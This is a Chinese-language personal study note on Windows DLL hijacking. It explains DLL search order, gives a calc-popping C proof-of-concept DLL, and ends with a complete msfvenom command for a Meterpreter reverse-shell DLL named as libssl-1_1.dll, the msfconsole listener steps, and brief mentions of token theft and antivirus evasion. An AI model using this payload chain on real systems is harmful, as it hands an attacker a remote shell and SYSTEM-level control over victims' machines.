以下是自己学习时做的一些笔记,希望对各位有所帮助
DLL劫持漏洞
为什么程序中会有dll的存在
对于 Windows 操作系统,操作系统的大部分功能都由 DLL 提供。 另外,当您在这些 Windows 操作系统之一上运行某一程序时,该程序的很多功能可能是由 DLL 提供的。 例如,某些程序可能包含很多不同的模块,而该程序的每个模块都包含在 DLL 中并从中分发。
使用 DLL 有助于促进代码的模块化、代码重用、内存的有效使用和减少所占用的磁盘空间。 因此,操作系统和程序能够更快地加载和运行,并且在计算机中占用较少的磁盘空间。
当程序使用 DLL 时,一个称为依赖性的问题可能导致该程序无法运行。 当程序使用 DLL 时,就会创建一个依赖项。 如果其他程序改写和损坏了该依赖项,原来的那个程序就可能无法成功运行。
为什么程序会使用dll
dll的优点
使用较少的资源
当多个程序使用同一个函数库时,DLL 可以减少在磁盘和物理内存中加载的代码的重复量。 这不仅可以大大影响在前台运行的程序,而且可以大大影响其他在 Windows 操作系统上运行的程序。
推广模块式体系结构
DLL 有助于促进模块式程序的开发。 这可以帮助你开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。 模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。
简化部署和安装
当 DLL 中的函数需要更新或修复时,部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。 此外,如果多个程序使用同一个 DLL,那么多个程序都将从该更新或修复中获益。 当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地出现。
dll的定义:
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”
dll故障排除工具
Dependency Walker
Dependency Walker 工具可以递归扫描以寻找程序所使用的所有依赖 DLL。 在 Dependency Walker 中打开程序时,Dependency Walker 会执行下列检查:
Dependency Walker 检查是否丢失 DLL。
Dependency Walker 检查是否存在无效的程序文件或 DLL。
Dependency Walker 检查导入函数和导出函数是否匹配。
Dependency Walker 检查是否存在循环依赖性错误。
Dependency Walker 检查是否存在由于针对另一不同操作系统而无效的模块。
通过使用 Dependency Walker,您可以记录程序使用的所有 DLL。 这可能有助于避免和更正将来可能发生的 DLL 问题。 安装 Visual Studio 6.0 时,Dependency Walker 将位于以下目录中:
drive\Program Files\Microsoft Visual Studio\Common\Tools
劫持漏洞的产生
这里我查看资料理解的意思是,就是自己编写dll代码,然后把这个代码放到你要劫持的同一个目录下,然后程序运行时,则会优先运行你的dll,只要你的dll代码优先级高于它本身的dll就可以实现dll劫持。
dll劫持漏洞
编写dll劫持漏洞的代码
我们有的时候写入的dll代码有的时候程序运行起来,可能会报错,但这个时候我们可以做的是,在我们自己写的dll里面加入反调用函数,直接调用程序本身的dll,使得程序正常运行起来。
用C编写
运行了一下dll后,会弹出一个计算器
#include "stdafx.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("calc", SW_NORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) void PlaySoundA() { WinExec("calc", SW_NORMAL); } |
#include <Windows.h> extern "C" int __declspec(dllexport)add(int x, int y) { return x + y; } extern "C" int __declspec(dllexport)sub(int x, int y) { return x - y; } extern "C" int __declspec(dllexport)mul(int x, int y) { return x * y; } extern "C" int __declspec(dllexport)divs(int x, int y) { return x / y; } BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid) { return true; } |
用msf进行dll漏洞劫持
我们一开始先查找程序的dll,然后我们要去写一个和程序名字相同的dll,只不过这里的dll是我们用msf生成的木马病毒
命令如下
生成一个dll病毒
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134 lport=6677 -f dll >./libssl-1_1.dll
然后将这个文件放到程序同一个目录下,然后运行这个程序
然后我们这只要监听端口,等着反弹shell就ok
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.134
set lport 6677
run
这里可以配合令牌窃取,然后就可以拿到system权限
免杀
就是对我们写好的dll文件头部进行隐藏,修改成正常的dll文件,但核心还是一个病毒的程序。